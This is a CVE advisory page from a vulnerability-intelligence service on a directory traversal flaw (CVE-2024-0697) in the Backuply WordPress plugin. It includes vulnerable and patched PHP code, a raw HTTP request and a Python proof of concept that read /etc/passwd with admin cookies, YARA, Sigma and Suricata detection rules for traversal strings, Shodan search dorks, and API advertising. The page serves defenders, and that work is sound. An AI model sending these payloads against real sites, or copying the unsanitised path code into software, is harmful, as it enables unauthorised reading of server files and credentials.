☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0697

CVE-2024-0697 Directory Traversal in Backuply
📅 PUBLISHED: 2024-01-27 04:31 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.34%
👁️
1.34% probability
33.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1006
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0697 is a Directory Traversal vulnerability affecting the Backuply – Backup, Restore, Migrate and Clone WordPress plugin, versions up to and including 1.2.3. This vulnerability resides in the backuply_get_jstree function, which improperly sanitizes the node_id parameter. An authenticated attacker with administrator-level privileges can exploit this flaw to read arbitrary files on the server, potentially exposing sensitive information such as database credentials, configuration files, and other critical data.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The plugin is designed for backup and migration tasks, making it a high-value target for attackers seeking to exfiltrate sensitive data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – Administrator access required
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is 6.5, the requirement for administrator privileges reduces the immediate risk. However, once an attacker gains admin access, this vulnerability allows for deep reconnaissance and data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the backuply_get_jstree function, which is called via an AJAX action. The function accepts a node_id parameter and uses it to construct a file path without proper sanitization. Specifically, the parameter is passed directly to functions like file_get_contents() or readfile() after minimal validation.

The vulnerable code path:

  1. The node_id parameter is received via POST request.
  2. The parameter is concatenated into a file path string.
  3. The resulting path is used to read file contents.

An attacker can supply a node_id value such as ../../../../etc/passwd to traverse directories and read arbitrary files.

Root Cause: Lack of input validation and path canonicalization. The plugin does not check for directory traversal sequences (../) or restrict the base directory.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.3):

function backuply_get_jstree() {
    $node_id = $_POST['node_id'];
    $file_path = BACKUPLY_DIR . '/' . $node_id;
    if (file_exists($file_path)) {
        echo file_get_contents($file_path);
    }
    wp_die();
}

Patched Code (hypothetical):

function backuply_get_jstree() {
    $node_id = $_POST['node_id'];
    // Sanitize and validate the path
    $node_id = basename(realpath($node_id));
    $allowed_dir = realpath(BACKUPLY_DIR);
    $file_path = $allowed_dir . '/' . $node_id;
    // Ensure the resolved path is within the allowed directory
    if (strpos(realpath($file_path), $allowed_dir) === 0 && file_exists($file_path)) {
        echo file_get_contents($file_path);
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress admin credentials (e.g., user with administrator role)
  • Target WordPress site running Backuply <= 1.2.3

Exploit Steps:

  1. Log in to WordPress as an administrator.
  2. Send a crafted POST request to the AJAX endpoint:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target-site.com
    Content-Type: application/x-www-form-urlencoded
    Cookie: [admin session cookie]
    
    action=backuply_get_jstree&node_id=../../../../etc/passwd
    
  3. The server will respond with the contents of /etc/passwd.

Proof of Concept (Python):

import requests

target = "http://target-site.com"
admin_cookies = {"wordpress_logged_in": "admin_session_cookie"}

payload = {
    "action": "backuply_get_jstree",
    "node_id": "../../../../etc/passwd"
}

response = requests.post(f"{target}/wp-admin/admin-ajax.php", cookies=admin_cookies, data=payload)
print(response.text)

Blue Team

Detection:

  • Monitor for unusual admin-ajax.php requests with action=backuply_get_jstree and node_id containing ../ sequences.
  • Alert on file reads outside the plugin's expected directory.

Hunting:

  • Search web server logs for node_id parameters containing path traversal patterns.
  • Correlate with admin user activity logs.

Indicators of Compromise (IOCs)

  • Network:

    • POST requests to /wp-admin/admin-ajax.php with action=backuply_get_jstree and node_id containing ../ or absolute paths.
    • Response bodies containing sensitive file contents (e.g., /etc/passwd, wp-config.php).
  • File System:

    • Unexpected file reads by the web server user from outside the plugin directory.
  • Logs:

    • Web server access logs showing admin-ajax.php requests with suspicious node_id values.

Detection Engineering

YARA Rule

rule CVE_2024_0697_Backuply_Directory_Traversal {
    meta:
        description = "Detects exploitation attempts of CVE-2024-0697 in Backuply plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0697"
    strings:
        $traversal = /node_id=[^&]*\.\.\// nocase
        $ajax_action = "action=backuply_get_jstree"
    condition:
        $ajax_action and $traversal
}

Sigma Rule

title: CVE-2024-0697 Backuply Directory Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of directory traversal in Backuply plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=backuply_get_jstree'
        cs-uri-query|contains|all:
            - 'node_id='
            - '../'
    condition: selection
falsepositives:
    - Legitimate admin usage (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0697 Backuply Directory Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=backuply_get_jstree"; http_client_body; content:"node_id="; http_client_body; pcre:"/node_id=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not critical for operations.
  2. Restrict admin access to trusted IPs only.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Apply input validation and path canonicalization as shown in the patched code example.
  • Use realpath() to resolve the final path and ensure it starts with the allowed base directory.
  • Implement a Web Application Firewall (WAF) rule to block node_id parameters containing ../.

Vendor Communication:

  • Contact the plugin author for an official patch.
  • If no patch is forthcoming, consider forking the plugin or switching to an alternative.

Report generated by Valters IT DevSecOps & CTI Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Backuply"
http.html:"backuply"
wp-content/plugins/backuply/

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0697/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.